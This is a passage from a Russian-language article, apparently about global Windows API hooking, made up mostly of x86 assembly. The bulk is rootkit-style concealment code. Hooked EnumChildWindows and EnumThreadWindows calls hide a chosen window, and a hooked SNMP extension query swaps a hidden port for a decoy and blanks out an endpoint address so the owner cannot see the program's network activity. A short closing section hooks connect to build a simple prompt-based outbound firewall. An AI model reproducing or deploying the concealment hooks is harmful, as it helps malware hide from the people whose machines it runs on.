eax,parentwnd je foolecw iamnotrunning: push enumproc_ecw pop oldecwproc call [realEnumChildWindows],parentwnd,\ offset myenum_ecw,enumparam_ecw and oldecwproc,0 ret foolecw: xor eax,eax ret myEnumChildWindows endp myenum_ecw proc enumhwnd_ecw:dword,b_ecw:dword call FindWindowA,offset wnd2hide,0 or eax,eax je calloldecwproc cmp eax,enumhwnd_ecw mov eax,1 je skipoldecwproc calloldecwproc: call [oldecwproc],enumhwnd_ecw,b_ecw skipoldecwproc: ret myenum_ecw endp myEnumThreadWindows proc tid2examine:dword,etwcallback:dword,\ etwparam:dword call FindWindowA,offset wnd2hide,0 call GetWindowThreadProcessId,eax,0 cmp eax,tid2examine jz fooletw ; если наш поток, то ; выдать ошибку call [realEnumThreadWindows],tid2examine,etwcallback,\ etwparam ret fooletw: xor eax,eax ret myEnumThreadWindows endp mySnmpExtensionInit proc currtime,hTrapEvent,hIdentifier:dword and recordnum,0 mov currtrap,offset trapbuff call [realSnmpExtensionInit],currtime,hTrapEvent,hIdentifier ret mySnmpExtensionInit endp mySnmpExtensionQuery proc callmode,bindList,\ errorStatus,errorIndex:dword call [realSnmpExtensionQuery],callmode,bindList,\ errorStatus,errorIndex pushad or eax,eax jz skipit cmp callmode,ASN_RFC1157_GETNEXTREQUEST jne skipit mov eax,bindList mov eax,[eax.list] cmp [eax.name.idLength],0ah jb skipit mov bindEntry,eax mov eax,[eax.name.ids] mov eax,[eax+9*4] cmp eax,4 jnz check4localport cmp recordnum,0 jz already0 and recordnum,0 and search4trap,0 already0: inc search4trap mov ecx,search4trap lea esi,trapbuff tryalltraps: lodsd cmp esi,currtrap ; это метка на ; изменение? ja trapwalkdone cmp eax,ecx jnz tryalltraps mov ebx,bindEntry ; спрятать адрес ; эндпоинта mov ebx,[ebx.value.asnValue.address.stream] and dword ptr [ebx],0 trapwalkdone:jmp skipit check4localport: cmp eax,3 jnz skipit inc recordnum recordscounted: mov ebx,bindEntry mov eax,[ebx.value.asnValue.number] cmp eax,PORT2HIDE ; это наш порт? jnz skipit ; да, показать ; пользователю то, ; что он хочет увидеть mov [ebx.value.asnValue.number],PORT2SHOW mov eax,currtrap add currtrap,4 push recordnum pop dword ptr [eax] ; сохранить номер ; записи для ; последующих вызовов, ; чтобы перехватить ; выдачу нашего IP skipit: popad ret mySnmpExtensionQuery endp Ниже приведен пример простейшего исходящего TCP-файрвола пользовательского режима. Он может работать с привилегиями гостя - глобализатор распространит обработчик ws2_32!connect только на те процессы, описатели которых он сможет получить при выполнении OpenProcess с параметрами PROCESS_ALL_ACCESS. myconnect proc a:dword,b:dword,c:dword pushad call GetModuleFileNameA,0,offset modnamebuff,MAX_PATH mov eax,b mov esi,[eax+4] movzx ebx,word ptr [eax+2] xchg bl,bh call inet_ntoa,esi call wsprintfA,offset bigbuff,offset badprogram,\ offset modnamebuff,eax,ebx add esp,5*4 call MessageBoxA,0,offset bigbuff,\ offset warn,MB_YESNO+MB_ICONWARNING cmp eax,6 jz good_program call WSASetLastError,WSAEADDRNOTAVAIL popad xor eax,eax dec eax jmp _ret good_program:popad call [realconnect],a,b,c _ret: ret myconnect endp |
|
2000-2008 г. Все авторские права соблюдены. |
|